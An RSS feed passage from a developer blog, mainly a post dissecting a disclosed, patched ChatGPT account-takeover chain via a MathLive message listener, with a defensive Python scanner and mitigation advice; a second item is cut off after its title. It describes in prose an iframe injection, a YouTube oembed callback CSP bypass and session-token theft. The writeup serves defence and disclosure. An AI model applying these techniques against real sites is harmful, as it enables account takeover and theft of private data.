<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Sam LABBE</title>
    <description>The latest articles on DEV Community by Sam LABBE (@slabb).</description>
    <link>https://dev.to/slabb</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F2901084%2F16244fc1-095c-41d9-ad2a-203fb3e617f9.png</url>
      <title>DEV Community: Sam LABBE</title>
      <link>https://dev.to/slabb</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/slabb"/>
    <language>en</language>
    <item>
      <title>We took over ChatGPT accounts: the MathLive postMessage chain, and the 20-line audit for your own listeners</title>
      <dc:creator>Sam LABBE</dc:creator>
      <pubDate>Sat, 31 Oct 2026 10:47:43 +0000</pubDate>
      <link>https://dev.to/slabb/we-took-over-chatgpt-accounts-the-mathlive-postmessage-chain-and-the-20-line-audit-for-your-own-442c</link>
      <guid>https://dev.to/slabb/we-took-over-chatgpt-accounts-the-mathlive-postmessage-chain-and-the-20-line-audit-for-your-own-442c</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;Yesterday's disclosure from &lt;a href="https://www.parameter.ai/labs/we-found-a-gap-at-openai" rel="noopener noreferrer"&gt;Parameter&lt;/a&gt; is the most elegant web exploit of the month: &lt;strong&gt;a complete takeover of ChatGPT accounts where the victim's only action was opening a shared-conversation link&lt;/strong&gt;. No paste, no login, no click in the final version: about 4.5 seconds from link to JavaScript running as chatgpt.com, reading private conversations and the session token. Reported October 18, escalated from P2 to P1 on October 21, fixed October 26, bounty $5,000. The root is a class of bug almost every web app ships today, which is why this post is the chain dissected step by step, plus a 100-line static audit I wrote and ran against the vulnerable library: &lt;strong&gt;it flags exactly the four listeners that made this possible, and your codebase can be scanned the same way tonight.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  The chain, in seven moves
&lt;/h2&gt;

&lt;p&gt;The ingredient list: a shared conversation (public feature), &lt;strong&gt;MathLive&lt;/strong&gt; (the math input library ChatGPT loads when a message contains an interactive graph), and the HTML Preview pane that runs on a separate sandboxed origin.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;The lure.&lt;/strong&gt; Attacker shares a conversation containing a real interactive graph (which makes chatgpt.com load MathLive and install its virtual-keyboard message listener) plus an HTML block.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The unguarded door.&lt;/strong&gt; The sandboxed HTML Preview sends &lt;code&gt;postMessage&lt;/code&gt; calls. MathLive's listener &lt;strong&gt;never checked who the message came from&lt;/strong&gt; ("from any web address", per the researchers) and accepted a &lt;code&gt;update-setting&lt;/code&gt; message carrying attacker-controlled HTML in the keyboard &lt;code&gt;layouts[].markup&lt;/code&gt; field, then a &lt;code&gt;show&lt;/code&gt; message.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The sink.&lt;/strong&gt; The layout renders through &lt;code&gt;keyboardContainer.innerHTML&lt;/code&gt;, via a &lt;code&gt;createHTML&lt;/code&gt; helper that was &lt;strong&gt;a Trusted Types wrapper or identity function, not a sanitizer&lt;/strong&gt;. I verified the sink in the shipped bundle: &lt;code&gt;s.innerHTML = Qi.createHTML(a)&lt;/code&gt; and friends, still present in MathLive 0.100.0.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The origin inheritance.&lt;/strong&gt; The injected payload is an &lt;code&gt;&amp;lt;iframe srcdoc&amp;gt;&lt;/code&gt; &lt;strong&gt;without a sandbox attribute&lt;/strong&gt;. A srcdoc iframe inherits the embedding document's origin: the new frame &lt;em&gt;is&lt;/em&gt; chatgpt.com.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The CSP bypass.&lt;/strong&gt; The Content-Security-Policy blocked inline scripts but allowed YouTube. So the payload loads &lt;code&gt;www.youtube.com/oembed?...&amp;amp;callback=&amp;lt;js&amp;gt;;void&lt;/code&gt;, a JSONP-style response whose body begins with attacker-chosen JavaScript. CSP sees a fetch to youtube.com, allowed. The browser executes the callback as script.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The token.&lt;/strong&gt; Running as chatgpt.com, the code reads the session bootstrap data from the page (&lt;code&gt;#client-bootstrap&lt;/code&gt;) and obtains the access token.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The takeover.&lt;/strong&gt; With the token: &lt;code&gt;GET /backend-api/conversations...&lt;/code&gt;, enumerate, read, exfiltrate via an innocent-looking image request. "Any action on behalf of the victim's ChatGPT account."&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Every individual piece is a textbook finding. The lesson is the composition: a library's lax listener plus a sandboxed pane plus a permissive CSP plus an unsandboxed srcdoc equals account takeover on the most-visited AI site on earth.&lt;/p&gt;

&lt;h2&gt;
  
  
  The audit: your listeners, tonight
&lt;/h2&gt;

&lt;p&gt;The bug class has a signature: &lt;code&gt;addEventListener('message', ...)&lt;/code&gt; handlers that never reference &lt;code&gt;event.origin&lt;/code&gt; or &lt;code&gt;event.source&lt;/code&gt;. I wrote a static scanner around that signature (heuristic, minified-bundle-friendly, ~100 lines) and ran it on the two things that matter:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ python3 postmessage_audit.py mathlive-0.100.0.mjs
[RISK] mathlive-0.100.0.mjs:2841 message listener -&amp;gt; NO SENDER CHECK (.origin/.source absent)
[RISK] mathlive-0.100.0.mjs:2931 message listener -&amp;gt; NO SENDER CHECK (.origin/.source absent)
[RISK] mathlive-0.100.0.mjs:2931 message listener -&amp;gt; NO SENDER CHECK (.origin/.source absent)
[RISK] mathlive-0.100.0.mjs:3084 message listener -&amp;gt; NO SENDER CHECK (.origin/.source absent)

$ python3 postmessage_audit.py mathlive-0.111.1.mjs        # current release
(no message listeners flagged in the main bundle)

$ python3 postmessage_audit.py ~/code/my-app/src/           # your turn
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The core of the check (full script embedded below, self-contained):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;PATTERNS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;compile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;addEventListener\(\s*[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;\"`]message[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;\"`]\s*,&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
            &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;compile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;onmessage\s*=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
&lt;span class="n"&gt;ORIGIN_OK&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;compile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;(?:event|e|ev|msg|evt)\.(?:origin|source)\b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;DANGEROUS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;compile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;innerHTML|insertAdjacentHTML|document\.write|outerHTML|\beval\(|new Function\(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# for each listener: extract the handler body; flag if ORIGIN_OK absent,
# and flag louder if a DOM sink lives inside the same handler
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Honest limits: it is a heuristic on source text (proxy handlers, wrapped frameworks or dynamically-registered listeners can slip through), a clean scan is not a proof, and the runtime gold standard is opening DevTools and watching which listeners react to a synthetic &lt;code&gt;postMessage&lt;/code&gt; from a foreign origin. But the pattern it flags is precisely the one that cost OpenAI a P1 this month, and it catches the version that had it while passing the one that does not.&lt;/p&gt;

&lt;p&gt;The full script (drop it in a repo or run it in CI over your frontend bundles):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;#!/usr/bin/env python3
# postmessage_audit.py &amp;lt;file-or-dir&amp;gt; [...] : flag message listeners without sender checks
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;pathlib&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;
&lt;span class="n"&gt;RX&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;compile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;addEventListener\(\s*[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;\"`]message[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;\"`]\s*,&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;compile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;onmessage\s*=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
&lt;span class="n"&gt;ORIGIN&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;compile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;(?:event|e|ev|msg|message|evt)\.(?:origin|source)\b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;SINK&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;compile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;innerHTML|insertAdjacentHTML|document\.write|outerHTML|\beval\(|new Function\(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;scan&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read_text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;errors&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;replace&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;rx&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;RX&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;rx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;finditer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
            &lt;span class="n"&gt;win&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;end&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;end&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;2000&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt; &lt;span class="n"&gt;depth&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;""&lt;/span&gt;
            &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;ch&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;enumerate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;win&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
                &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;ch&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;depth&lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
                &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;ch&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                    &lt;span class="n"&gt;depth&lt;/span&gt;&lt;span class="o"&gt;-=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
                    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;depth&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;win&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt; &lt;span class="k"&gt;break&lt;/span&gt;
            &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;win&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="mi"&gt;1500&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
            &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;start&lt;/span&gt;&lt;span class="p"&gt;()].&lt;/span&gt;&lt;span class="nf"&gt;count&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
            &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;ORIGIN&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;search&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;NO SENDER CHECK&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;SINK&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;search&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;DOM sink in handler&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[RISK] &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;:&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; -&amp;gt; &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;; &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:]:&lt;/span&gt;
    &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nc"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;sorted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;rglob&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;*&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;is_dir&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;]):&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;suffix&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.js&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.mjs&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.ts&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.jsx&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.tsx&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.html&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.vue&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.svelte&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}:&lt;/span&gt; &lt;span class="nf"&gt;scan&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  The four defenses, in order of leverage
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Check the sender, always.&lt;/strong&gt; First line of every message handler: &lt;code&gt;if (event.origin !== EXPECTED) return;&lt;/code&gt;. One line, kills the entire class. That line was missing in a library embedded in one of the world's top websites.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A Trusted Types wrapper that sanitizes, or nothing.&lt;/strong&gt; &lt;code&gt;createHTML&lt;/code&gt; that passes bytes through is a compliance badge on an open door. If you adopt Trusted Types, the policy must actually constrain (DOMPurify or equivalent), not just wrap.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Sandbox your srcdocs.&lt;/strong&gt; An &lt;code&gt;&amp;lt;iframe srcdoc&amp;gt;&lt;/code&gt; without &lt;code&gt;sandbox&lt;/code&gt; inherits your origin. &lt;code&gt;sandbox="allow-scripts"&lt;/code&gt; (no &lt;code&gt;allow-same-origin&lt;/code&gt;) makes the injected document powerless against yours. The preview pane was sandboxed; the attacker's frame was not.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CSP is a budget, audit the allowed list.&lt;/strong&gt; Any endpoint echoing a callback parameter is a script-execution primitive (JSONP is not dead, it lives in oembed endpoints). &lt;code&gt;youtube.com&lt;/code&gt; in a CSP is not "just videos": read it as "YouTube decides what JavaScript runs on my page".&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  What this means for AI platforms specifically
&lt;/h2&gt;

&lt;p&gt;The trust model of an AI chat app is unusual: &lt;strong&gt;user-generated content becomes application UI&lt;/strong&gt; (shared conversations render graphs, previews, embeds inside the first-party origin). Every library the platform loads to render that content inherits the platform's authority, and the attacker gets to choose which content triggers which library. OpenAI's fix (rejecting cross-frame MathLive messages plus CSP changes) is correct and shipped in eight days. The $5,000 bounty for a full account takeover on the flagship product is, let us note in passing, a curious pricing signal.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;: a shared ChatGPT link + MathLive's message listener that trusted any sender + innerHTML sink + unsandboxed srcdoc + YouTube JSONP CSP bypass = the session token and every private conversation, patched October 26. The bug class is &lt;code&gt;addEventListener('message')&lt;/code&gt; without an origin check; the 100-line audit above flags it in your bundles (and correctly flagged the vulnerable MathLive while passing the fixed one). One line of &lt;code&gt;event.origin&lt;/code&gt; validation per listener is the whole vaccine.&lt;/p&gt;

&lt;p&gt;Sources: &lt;a href="https://www.parameter.ai/labs/we-found-a-gap-at-openai" rel="noopener noreferrer"&gt;Parameter: We took over ChatGPT accounts&lt;/a&gt; · &lt;a href="https://mathlive.dev/" rel="noopener noreferrer"&gt;MathLive&lt;/a&gt; · audit verified against mathlive 0.100.0 (4 listeners, no sender checks, innerHTML sinks present) and 0.111.1 (pattern absent from main bundle)&lt;/p&gt;

</description>
      <category>security</category>
      <category>webdev</category>
      <category>javascript</category>
      <category>ai</category>
    </item>
    <item>
      <title>pip install could have been hijacked: I tested every trust store on my Mac against the compromised eMudhra chain</title>
      <dc:creator>Sam LABBE</dc:creator>
      <pubDate>Fri, 30 Oct 2026 19:51:27 +0000</pubDate>
      <link>https://dev.to/slabb/pip-install-could-have-been-hijacked-i-tested-every-trust-store-on-my-mac-against-the-compromised-e8f</link>
      <guid>https://dev.to/slabb/pip-install-could-have-been-hijacked-i-tested-every-trust-store-on-my-mac-against-the-compromised-e8f</guid>
      <description>&lt;blockquote&gt;
